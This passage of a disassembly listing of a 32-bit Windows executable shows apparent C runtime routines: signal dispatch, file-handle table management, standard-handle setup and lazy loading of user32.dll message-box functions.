edx, [ebp-4] mov [edx+50h], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], 0 jz short loc_427203 mov ecx, dword_444448 push ecx push offset dword_4443C8 mov edx, [ebp-4] mov eax, [edx+50h] push eax call sub_4187B0 add esp, 0Ch jmp short loc_427205 ; --------------------------------------------------------------------------- loc_427203: ; CODE XREF: ___:004271E4j jmp short loc_427268 ; --------------------------------------------------------------------------- loc_427205: ; CODE XREF: ___:004271BAj ; ___:00427201j mov ecx, [ebp-4] mov edx, [ecx+50h] push edx mov eax, [ebp+8] push eax call sub_427590 add esp, 8 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_427223 jmp short loc_427268 ; --------------------------------------------------------------------------- loc_427223: ; CODE XREF: ___:0042721Fj mov ecx, [ebp-8] mov edx, [ecx+8] mov [ebp-0Ch], edx loc_42722C: ; CODE XREF: ___:loc_427261j mov eax, [ebp-8] mov ecx, [eax+4] cmp ecx, [ebp+8] jnz short loc_427263 mov edx, [ebp-8] mov eax, [ebp+0Ch] mov [edx+8], eax mov ecx, [ebp-8] add ecx, 0Ch mov [ebp-8], ecx mov edx, dword_44444C imul edx, 0Ch mov eax, [ebp-4] mov ecx, [eax+50h] add ecx, edx cmp [ebp-8], ecx jb short loc_427261 jmp short loc_427263 ; --------------------------------------------------------------------------- loc_427261: ; CODE XREF: ___:0042725Dj jmp short loc_42722C ; --------------------------------------------------------------------------- loc_427263: ; CODE XREF: ___:0042718Cj ; ___:00427235j ... mov eax, [ebp-0Ch] jmp short loc_427276 ; --------------------------------------------------------------------------- loc_427268: ; CODE XREF: ___:loc_427093j ; ___:0042710Aj ... call sub_420520 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_427276: ; CODE XREF: ___:00427266j pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- off_42727B dd offset loc_427136 ; DATA XREF: ___:0042712Fr dd offset loc_427170 dd offset loc_42714A dd offset loc_42715D dd offset loc_427182 byte_42728F db 0 ; DATA XREF: ___:00427129r dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4272B0 proc near ; DATA XREF: ___:004270D5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push 1 call sub_41B780 add esp, 4 cmp [ebp+arg_0], 0 jnz short loc_4272DE mov [ebp+var_8], offset dword_4DB2E0 mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_C], ecx mov [ebp+var_4], 2 jmp short loc_4272F4 ; --------------------------------------------------------------------------- loc_4272DE: ; CODE XREF: sub_4272B0+14j mov [ebp+var_8], offset dword_4DB2E4 mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_C], eax mov [ebp+var_4], 15h loc_4272F4: ; CODE XREF: sub_4272B0+2Cj cmp [ebp+var_C], 0 jnz short loc_427308 push 1 call sub_41B820 add esp, 4 xor eax, eax jmp short loc_42733C ; --------------------------------------------------------------------------- loc_427308: ; CODE XREF: sub_4272B0+48j cmp [ebp+var_C], 1 jz short loc_42732D mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 push 1 call sub_41B820 add esp, 4 mov edx, [ebp+var_4] push edx call [ebp+var_C] add esp, 4 jmp short loc_427337 ; --------------------------------------------------------------------------- loc_42732D: ; CODE XREF: sub_4272B0+5Cj push 1 call sub_41B820 add esp, 4 loc_427337: ; CODE XREF: sub_4272B0+7Bj mov eax, 1 loc_42733C: ; CODE XREF: sub_4272B0+56j mov esp, ebp pop ebp retn 4 sub_4272B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427350 proc near ; CODE XREF: sub_41AEA0+2E7p ; sub_42A8B0+Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_20], eax mov ecx, [ebp+var_20] sub ecx, 2 mov [ebp+var_20], ecx cmp [ebp+var_20], 14h ja loc_42741E mov eax, [ebp+var_20] xor edx, edx mov dl, byte_427572[eax] jmp off_42755A[edx*4] loc_427388: ; DATA XREF: ___:off_42755Ao mov [ebp+var_18], offset dword_4DB2E0 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp loc_427426 ; --------------------------------------------------------------------------- loc_4273A5: ; CODE XREF: sub_427350+31j ; DATA XREF: ___:00427566o mov [ebp+var_18], offset dword_4DB2E4 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_427426 ; --------------------------------------------------------------------------- loc_4273BF: ; CODE XREF: sub_427350+31j ; DATA XREF: ___:0042756Ao mov [ebp+var_18], offset dword_4DB2E8 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_427426 ; --------------------------------------------------------------------------- loc_4273D9: ; CODE XREF: sub_427350+31j ; DATA XREF: ___:00427562o mov [ebp+var_18], offset dword_4DB2EC mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_427426 ; --------------------------------------------------------------------------- loc_4273F3: ; CODE XREF: sub_427350+31j ; DATA XREF: ___:0042755Eo call sub_41F970 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx+50h] push edx mov eax, [ebp+arg_0] push eax call sub_427590 add esp, 8 add eax, 8 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx jmp short loc_427426 ; --------------------------------------------------------------------------- loc_42741E: ; CODE XREF: sub_427350+20j ; sub_427350+31j ; DATA XREF: ... or eax, 0FFFFFFFFh jmp loc_427556 ; --------------------------------------------------------------------------- loc_427426: ; CODE XREF: sub_427350+50j ; sub_427350+6Dj ... cmp [ebp+var_C], 0 jz short loc_427436 push 1 call sub_41B780 add esp, 4 loc_427436: ; CODE XREF: sub_427350+DAj cmp [ebp+var_1C], 1 jnz short loc_427453 cmp [ebp+var_C], 0 jz short loc_42744C push 1 call sub_41B820 add esp, 4 loc_42744C: ; CODE XREF: sub_427350+F0j xor eax, eax jmp loc_427556 ; --------------------------------------------------------------------------- loc_427453: ; CODE XREF: sub_427350+EAj cmp [ebp+var_1C], 0 jnz short loc_427470 cmp [ebp+var_C], 0 jz short loc_427469 push 1 call sub_41B820 add esp, 4 loc_427469: ; CODE XREF: sub_427350+10Dj push 3 call sub_417960 loc_427470: ; CODE XREF: sub_427350+107j cmp [ebp+arg_0], 8 jz short loc_427482 cmp [ebp+arg_0], 0Bh jz short loc_427482 cmp [ebp+arg_0], 4 jnz short loc_4274AE loc_427482: ; CODE XREF: sub_427350+124j ; sub_427350+12Aj mov eax, [ebp+var_4] mov ecx, [eax+54h] mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov dword ptr [edx+54h], 0 cmp [ebp+arg_0], 8 jnz short loc_4274AE mov eax, [ebp+var_4] mov ecx, [eax+58h] mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov dword ptr [edx+58h], 8Ch loc_4274AE: ; CODE XREF: sub_427350+130j ; sub_427350+149j cmp [ebp+arg_0], 8 jnz short loc_4274F0 mov eax, dword_444440 mov [ebp+var_10], eax jmp short loc_4274C7 ; --------------------------------------------------------------------------- loc_4274BE: ; CODE XREF: sub_427350+19Cj mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_4274C7: ; CODE XREF: sub_427350+16Cj mov edx, dword_444440 add edx, dword_444444 cmp [ebp+var_10], edx jge short loc_4274EE mov eax, [ebp+var_10] imul eax, 0Ch mov ecx, [ebp+var_4] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_4274BE ; --------------------------------------------------------------------------- loc_4274EE: ; CODE XREF: sub_427350+186j jmp short loc_4274F9 ; --------------------------------------------------------------------------- loc_4274F0: ; CODE XREF: sub_427350+162j mov eax, [ebp+var_18] mov dword ptr [eax], 0 loc_4274F9: ; CODE XREF: sub_427350:loc_4274EEj cmp [ebp+var_C], 0 jz short loc_427509 push 1 call sub_41B820 add esp, 4 loc_427509: ; CODE XREF: sub_427350+1ADj cmp [ebp+arg_0], 8 jnz short loc_427520 mov ecx, [ebp+var_4] mov edx, [ecx+58h] push edx push 8 call [ebp+var_1C] add esp, 8 jmp short loc_42752A ; --------------------------------------------------------------------------- loc_427520: ; CODE XREF: sub_427350+1BDj mov eax, [ebp+arg_0] push eax call [ebp+var_1C] add esp, 4 loc_42752A: ; CODE XREF: sub_427350+1CEj cmp [ebp+arg_0], 8 jz short loc_42753C cmp [ebp+arg_0], 0Bh jz short loc_42753C cmp [ebp+arg_0], 4 jnz short loc_427554 loc_42753C: ; CODE XREF: sub_427350+1DEj ; sub_427350+1E4j mov ecx, [ebp+var_4] mov edx, [ebp+var_14] mov [ecx+54h], edx cmp [ebp+arg_0], 8 jnz short loc_427554 mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+58h], ecx loc_427554: ; CODE XREF: sub_427350+1EAj ; sub_427350+1F9j xor eax, eax loc_427556: ; CODE XREF: sub_427350+D1j ; sub_427350+FEj mov esp, ebp pop ebp retn sub_427350 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_42755A dd offset loc_427388 ; DATA XREF: sub_427350+31r dd offset loc_4273F3 dd offset loc_4273D9 dd offset loc_4273A5 dd offset loc_4273BF dd offset loc_42741E byte_427572 db 0 ; DATA XREF: sub_427350+2Br db 5 dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427590 proc near ; CODE XREF: ___:00427210p ; sub_427350+B6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_42759A: ; CODE XREF: sub_427590+31j mov ecx, [ebp+var_4] mov edx, [ecx+4] cmp edx, [ebp+arg_0] jz short loc_4275C3 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_44444C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_4275C3 jmp short loc_42759A ; --------------------------------------------------------------------------- loc_4275C3: ; CODE XREF: sub_427590+13j ; sub_427590+2Fj mov eax, dword_44444C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_4275E5 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jnz short loc_4275E5 mov eax, [ebp+var_4] jmp short loc_4275E7 ; --------------------------------------------------------------------------- loc_4275E5: ; CODE XREF: sub_427590+43j ; sub_427590+4Ej xor eax, eax loc_4275E7: ; CODE XREF: sub_427590+53j mov esp, ebp pop ebp retn sub_427590 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41F970 add eax, 58h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427600 proc near ; CODE XREF: ___:004298B9p push ebp mov ebp, esp call sub_41F970 add eax, 54h pop ebp retn sub_427600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427610 proc near ; CODE XREF: sub_41AEA0+2CEp ; sub_426B80+1B0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 cmp dword_4DB2F4, 0 jnz short loc_427683 push offset aUser32_dll_0 ; "user32.dll" call near ptr 2690610h nop mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_427657 push offset aMessageboxa ; "MessageBoxA" mov eax, [ebp+var_8] push eax nop call near ptr 26A0000h mov dword_4DB2F4, eax cmp dword_4DB2F4, 0 jnz short loc_42765B loc_427657: ; CODE XREF: sub_427610+28j xor eax, eax jmp short loc_4276C7 ; --------------------------------------------------------------------------- loc_42765B: ; CODE XREF: sub_427610+45j push offset aGetactivewindo ; "GetActiveWindow" mov ecx, [ebp+var_8] push ecx nop call near ptr 26A0000h mov dword_4DB2F8, eax push offset aGetlastactivep ; "GetLastActivePopup" mov edx, [ebp+var_8] push edx call near ptr 26A0000h nop mov dword_4DB2FC, eax loc_427683: ; CODE XREF: sub_427610+14j cmp dword_4DB2F8, 0 jz short loc_427695 call dword_4DB2F8 mov [ebp+var_4], eax loc_427695: ; CODE XREF: sub_427610+7Aj cmp [ebp+var_4], 0 jz short loc_4276B1 cmp dword_4DB2FC, 0 jz short loc_4276B1 mov eax, [ebp+var_4] push eax call dword_4DB2FC mov [ebp+var_4], eax loc_4276B1: ; CODE XREF: sub_427610+89j ; sub_427610+92j mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call dword_4DB2F4 loc_4276C7: ; CODE XREF: sub_427610+49j mov esp, ebp pop ebp retn sub_427610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4276D0 proc near ; CODE XREF: ___:loc_427B62p ; sub_428050:loc_4282E9p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push esi mov [ebp+var_8], 0FFFFFFFFh push 12h call sub_41B780 add esp, 4 mov [ebp+var_C], 0 jmp short loc_4276FA ; --------------------------------------------------------------------------- loc_4276F1: ; CODE XREF: sub_4276D0:loc_42789Bj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_4276FA: ; CODE XREF: sub_4276D0+1Fj cmp [ebp+var_C], 40h jge loc_4278A0 mov ecx, [ebp+var_C] cmp dword_4DB460[ecx*4], 0 jz loc_427806 mov edx, [ebp+var_C] mov eax, dword_4DB460[edx*4] mov [ebp+var_4], eax jmp short loc_42772D ; --------------------------------------------------------------------------- loc_427724: ; CODE XREF: sub_4276D0+F1j ; sub_4276D0:loc_4277F1j mov ecx, [ebp+var_4] add ecx, 24h mov [ebp+var_4], ecx loc_42772D: ; CODE XREF: sub_4276D0+52j mov edx, [ebp+var_C] mov eax, dword_4DB460[edx*4] add eax, 480h cmp [ebp+var_4], eax jnb loc_4277F6 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jnz loc_4277F1 mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_427799 push 11h call sub_41B780 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_42778F mov edx, [ebp+var_4] add edx, 0Ch push edx nop call near ptr 28606DCh mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_42778F: ; CODE XREF: sub_4276D0+A1j push 11h call sub_41B820 add esp, 4 loc_427799: ; CODE XREF: sub_4276D0+8Ej mov eax, [ebp+var_4] add eax, 0Ch push eax call near ptr 77F7E21Fh nop mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jz short loc_4277C6 mov eax, [ebp+var_4] add eax, 0Ch push eax nop call near ptr 77F7E300h jmp loc_427724 ; --------------------------------------------------------------------------- loc_4277C6: ; CODE XREF: sub_4276D0+E2j mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov ecx, [ebp+var_C] shl ecx, 5 mov edx, [ebp+var_C] mov eax, [ebp+var_4] sub eax, dword_4DB460[edx*4] cdq mov esi, 24h idiv esi add ecx, eax mov [ebp+var_8], ecx jmp short loc_4277F6 ; --------------------------------------------------------------------------- loc_4277F1: ; CODE XREF: sub_4276D0+81j jmp loc_427724 ; --------------------------------------------------------------------------- loc_4277F6: ; CODE XREF: sub_4276D0+6Fj ; sub_4276D0+11Fj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_427801 jmp loc_4278A0 ; --------------------------------------------------------------------------- loc_427801: ; CODE XREF: sub_4276D0+12Aj jmp loc_42789B ; --------------------------------------------------------------------------- loc_427806: ; CODE XREF: sub_4276D0+3Fj push 79h push offset aOsfinfo_c ; "osfinfo.c" push 2 push 480h call sub_414DD0 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_427899 mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dword_4DB460[eax*4], ecx mov edx, dword_4DB560 add edx, 20h mov dword_4DB560, edx jmp short loc_42784C ; --------------------------------------------------------------------------- loc_427843: ; CODE XREF: sub_4276D0+1B2j mov eax, [ebp+var_4] add eax, 24h mov [ebp+var_4], eax loc_42784C: ; CODE XREF: sub_4276D0+171j mov ecx, [ebp+var_C] mov edx, dword_4DB460[ecx*4] add edx, 480h cmp [ebp+var_4], edx jnb short loc_427884 mov eax, [ebp+var_4] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_4] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_4] mov dword ptr [eax+8], 0 jmp short loc_427843 ; --------------------------------------------------------------------------- loc_427884: ; CODE XREF: sub_4276D0+18Fj mov ecx, [ebp+var_C] shl ecx, 5 mov [ebp+var_8], ecx mov edx, [ebp+var_8] push edx call sub_427BE0 add esp, 4 loc_427899: ; CODE XREF: sub_4276D0+153j jmp short loc_4278A0 ; --------------------------------------------------------------------------- loc_42789B: ; CODE XREF: sub_4276D0:loc_427801j jmp loc_4276F1 ; --------------------------------------------------------------------------- loc_4278A0: ; CODE XREF: sub_4276D0+2Ej ; sub_4276D0+12Cj ... push 12h call sub_41B820 add esp, 4 mov eax, [ebp+var_8] pop esi mov esp, ebp pop ebp retn sub_4276D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4278C0 proc near ; CODE XREF: ___:00427B93p ; sub_428050+379p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DB560 jnb loc_42795A mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jnz short loc_42795A cmp dword_443B84, 1 jnz short loc_42793A mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jz short loc_427912 cmp [ebp+var_4], 1 jz short loc_427920 cmp [ebp+var_4], 2 jz short loc_42792E jmp short loc_42793A ; --------------------------------------------------------------------------- loc_427912: ; CODE XREF: sub_4278C0+42j mov edx, [ebp+arg_4] push edx push 0FFFFFFF6h call near ptr 2660D18h nop jmp short loc_42793A ; --------------------------------------------------------------------------- loc_427920: ; CODE XREF: sub_4278C0+48j mov eax, [ebp+arg_4] push eax push 0FFFFFFF5h nop call near ptr 2660D18h jmp short loc_42793A ; --------------------------------------------------------------------------- loc_42792E: ; CODE XREF: sub_4278C0+4Ej mov ecx, [ebp+arg_4] push ecx push 0FFFFFFF4h nop call near ptr 2660D18h loc_42793A: ; CODE XREF: sub_4278C0+36j ; sub_4278C0+50j ... mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DB460[edx*4] mov edx, [ebp+arg_4] mov [ecx+eax], edx xor eax, eax jmp short loc_427973 ; --------------------------------------------------------------------------- loc_42795A: ; CODE XREF: sub_4278C0+Dj ; sub_4278C0+2Dj call sub_420520 mov dword ptr [eax], 9 call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_427973: ; CODE XREF: sub_4278C0+98j mov esp, ebp pop ebp retn sub_4278C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427980 proc near ; CODE XREF: sub_41B230+69p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DB560 jnb loc_427A3B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz loc_427A3B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DB460[edx*4] cmp dword ptr [ecx+eax], 0FFFFFFFFh jz short loc_427A3B cmp dword_443B84, 1 jnz short loc_427A1A mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz short loc_4279F8 cmp [ebp+var_4], 1 jz short loc_427A04 cmp [ebp+var_4], 2 jz short loc_427A10 jmp short loc_427A1A ; --------------------------------------------------------------------------- loc_4279F8: ; CODE XREF: sub_427980+68j push 0 push 0FFFFFFF6h nop call near ptr 2660D18h jmp short loc_427A1A ; --------------------------------------------------------------------------- loc_427A04: ; CODE XREF: sub_427980+6Ej push 0 push 0FFFFFFF5h nop call near ptr 2660D18h jmp short loc_427A1A ; --------------------------------------------------------------------------- loc_427A10: ; CODE XREF: sub_427980+74j push 0 push 0FFFFFFF4h nop call near ptr 2660D18h loc_427A1A: ; CODE XREF: sub_427980+5Cj ; sub_427980+76j ... mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov dword ptr [edx+ecx], 0FFFFFFFFh xor eax, eax jmp short loc_427A54 ; --------------------------------------------------------------------------- loc_427A3B: ; CODE XREF: sub_427980+Dj ; sub_427980+33j ... call sub_420520 mov dword ptr [eax], 9 call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_427A54: ; CODE XREF: sub_427980+B9j mov esp, ebp pop ebp retn sub_427980 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427A60 proc near ; CODE XREF: sub_41B230+9p ; sub_41B230+24p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_4DB560 jnb short loc_427AAB mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz short loc_427AAB mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DB460[edx*4] mov eax, [ecx+eax] jmp short loc_427AC4 ; --------------------------------------------------------------------------- loc_427AAB: ; CODE XREF: sub_427A60+Cj ; sub_427A60+2Ej call sub_420520 mov dword ptr [eax], 9 call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_427AC4: ; CODE XREF: sub_427A60+49j pop ebp retn sub_427A60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch mov byte ptr [ebp-0Ch], 0 mov eax, [ebp+0Ch] and eax, 8 test eax, eax jz short loc_427AED mov cl, [ebp-0Ch] or cl, 20h mov [ebp-0Ch], cl loc_427AED: ; CODE XREF: ___:00427AE2j mov edx, [ebp+0Ch] and edx, 4000h test edx, edx jz short loc_427B02 mov al, [ebp-0Ch] or al, 80h mov [ebp-0Ch], al loc_427B02: ; CODE XREF: ___:00427AF8j mov ecx, [ebp+0Ch] and ecx, 80h test ecx, ecx jz short loc_427B18 mov dl, [ebp-0Ch] or dl, 10h mov [ebp-0Ch], dl loc_427B18: ; CODE XREF: ___:00427B0Dj mov eax, [ebp+8] push eax nop call near ptr 28C0000h mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_427B42 nop call near ptr 26908EFh push eax call sub_420480 add esp, 4 or eax, 0FFFFFFFFh jmp loc_427BD0 ; --------------------------------------------------------------------------- loc_427B42: ; CODE XREF: ___:00427B29j cmp dword ptr [ebp-4], 2 jnz short loc_427B53 mov cl, [ebp-0Ch] or cl, 40h mov [ebp-0Ch], cl jmp short loc_427B62 ; --------------------------------------------------------------------------- loc_427B53: ; CODE XREF: ___:00427B46j cmp dword ptr [ebp-4], 3 jnz short loc_427B62 mov dl, [ebp-0Ch] or dl, 8 mov [ebp-0Ch], dl loc_427B62: ; CODE XREF: ___:00427B51j ; ___:00427B57j call sub_4276D0 mov [ebp-8], eax cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_427B8B call sub_420520 mov dword ptr [eax], 18h call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_427BD0 ; --------------------------------------------------------------------------- loc_427B8B: ; CODE XREF: ___:00427B6Ej mov eax, [ebp+8] push eax mov ecx, [ebp-8] push ecx call sub_4278C0 add esp, 8 mov dl, [ebp-0Ch] or dl, 1 mov [ebp-0Ch], dl mov eax, [ebp-8] sar eax, 5 mov ecx, [ebp-8] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov al, [ebp-0Ch] mov [edx+ecx+4], al mov ecx, [ebp-8] push ecx call sub_427C70 add esp, 4 mov eax, [ebp-8] loc_427BD0: ; CODE XREF: ___:00427B3Dj ; ___:00427B89j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427BE0 proc near ; CODE XREF: sub_41B1B0+50p ; sub_41DD40+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_427C41 push 11h call sub_41B780 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_427C37 mov edx, [ebp+var_4] add edx, 0Ch push edx nop call near ptr 28606DCh mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_427C37: ; CODE XREF: sub_427BE0+39j push 11h call sub_41B820 add esp, 4 loc_427C41: ; CODE XREF: sub_427BE0+26j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] lea eax, [edx+ecx+0Ch] push eax call near ptr 77F7E21Fh nop mov esp, ebp pop ebp retn sub_427BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427C70 proc near ; CODE XREF: sub_41B1B0+6Bp ; sub_41DD40+73p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] lea eax, [edx+ecx+0Ch] push eax call near ptr 77F7E300h nop pop ebp retn sub_427C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427CA0 proc near ; CODE XREF: sub_41B3D0+2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DB560 jnb short loc_427CD1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_427CE4 loc_427CD1: ; CODE XREF: sub_427CA0+Dj call sub_420520 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_427D6E ; --------------------------------------------------------------------------- loc_427CE4: ; CODE XREF: sub_427CA0+2Fj mov edx, [ebp+arg_0] push edx call sub_427BE0 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 1 test eax, eax jz short loc_427D4D mov ecx, [ebp+arg_0] push ecx call sub_427A60 add esp, 4 push eax nop call near ptr 266080Ch test eax, eax jnz short loc_427D34 call near ptr 26908EFh nop mov [ebp+var_4], eax jmp short loc_427D3B ; --------------------------------------------------------------------------- loc_427D34: ; CODE XREF: sub_427CA0+87j mov [ebp+var_4], 0 loc_427D3B: ; CODE XREF: sub_427CA0+92j cmp [ebp+var_4], 0 jnz short loc_427D43 jmp short loc_427D5F ; --------------------------------------------------------------------------- loc_427D43: ; CODE XREF: sub_427CA0+9Fj call sub_420530 mov edx, [ebp+var_4] mov [eax], edx loc_427D4D: ; CODE XREF: sub_427CA0+70j call sub_420520 mov dword ptr [eax], 9 mov [ebp+var_4], 0FFFFFFFFh 